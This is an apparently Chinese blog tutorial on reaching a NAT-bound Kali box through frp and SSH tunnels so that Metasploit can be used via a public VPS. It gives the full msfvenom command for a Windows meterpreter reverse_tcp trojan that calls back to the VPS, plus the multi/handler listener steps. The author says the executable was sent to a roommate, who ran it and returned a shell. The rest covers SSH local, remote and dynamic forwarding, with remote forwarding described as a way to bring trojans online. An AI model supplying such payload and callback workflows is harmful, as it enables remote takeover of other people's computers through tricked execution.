很多时候我们需要内网穿透来进行一些操作 因为我们本地是内网而且在没有端口转发的情况下 msf不能很好的去使用。所以今天来总结一下 利用ssh frp实现内网穿透后 利用msf的过程。
首先我们要准备一台公网vps。然后一台内网kali。一个目标(这里那我舍友的做实验)
vps : 39.168.xxx.x
kali: 192.168.221.128
首先现在frp到vps和kali
https://github.com/fatedier/frp/releases
vps上启动frps 服务端
kali上启动frpc 客户端
vim frps.ini
bind_port = 7000//默认就是这样不用去修改
启动frps: ./frps -c ./frps.ini
vim frpc.ini
39.xx那个是vps的地址 7000是frpc的工作端口必须和上面frps保持一致
后面是服务器用6000端口转发到本机的5555端口 最后启动frpc
启动frpc: ./frpc -c ./frpc.ini
msfvenom -p windows/meterpreter/reverse_tcp lhost=39.xxx.xxx.x lport=6000 -f exe x>ma.exe
生成木马 地址设置为你的vps。端口设置成上面服务器用的端口6000
最后我们监听kali本地的5555端口等待上线。
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 5555
exploit
最后发给舍友
舍友双击以后反弹回了shell
本地端口转发
-L 本地端口转发
举个例子 例如我们 有一台服务器 server1 server2 local(本机)
本机是无法访问 server2的9000端口的 但是 server1可以访问 本机又可以链接server1
这时候我们
ssh -L 80:server2_ip:9000 user@server1_ip
这样访问80端口就是访问了server2的9000端口了。server1就充当了一个跳板。
当然如果本地端口转发到server1的9000端口的话 直接把server2_ip换成127.0.0.1就好。
常见场景就是 如果想远程访问server的3306端口 而且又不想对外公开这时候用到本地端口转发。
远程端口转发
内网穿透
ssh -R 7777:192.168.1.106:80 root@39.xxx.xxx.x
这就不多说了。用来上线🐴。或者比如自己本地搭建了一些东西 想让朋友访问就这样转发出来就好。
动态端口转发
和本地转发很像
本地转发是定向访问。
动态就不一样了。懂得都懂哈哈哈
ssh -D 8002 user@xx.xx.xxx.xxx-p 55133
端口转发维持
因为长时间不操作 端口转发就会被终结,那么如何维持。
autossh
还有ssh -o ServerAliveInterval=60 user@ip (每隔60秒客户端就向远程服务器发起一个请求)比较常用
因为这里kali网络有点问题所以用ssh并没有成功。也懒得去搞桥接了 这里我用我本机来测试 把本机端口映射到公网上。和msf道理一样的。
本机上执行
ssh -fCNR 7777:192.168.1.106:80 root@39.xxx.xxx.x
-f 将连接送入后台执行 不占用当前shell
-C 压缩传输 提高传输速度
-N 建立隐藏链接 已经建立链接 但是看不到会话
-R 远程端口转发
-L 本地端口转发
-D 动态端口转发
-p 指定ssh端口
把本地的80端口 反弹到vps的7777端口上
如果还是不懂怎么用ssh进行转发参考 https://www.cnblogs.com/hac425/p/9416774.html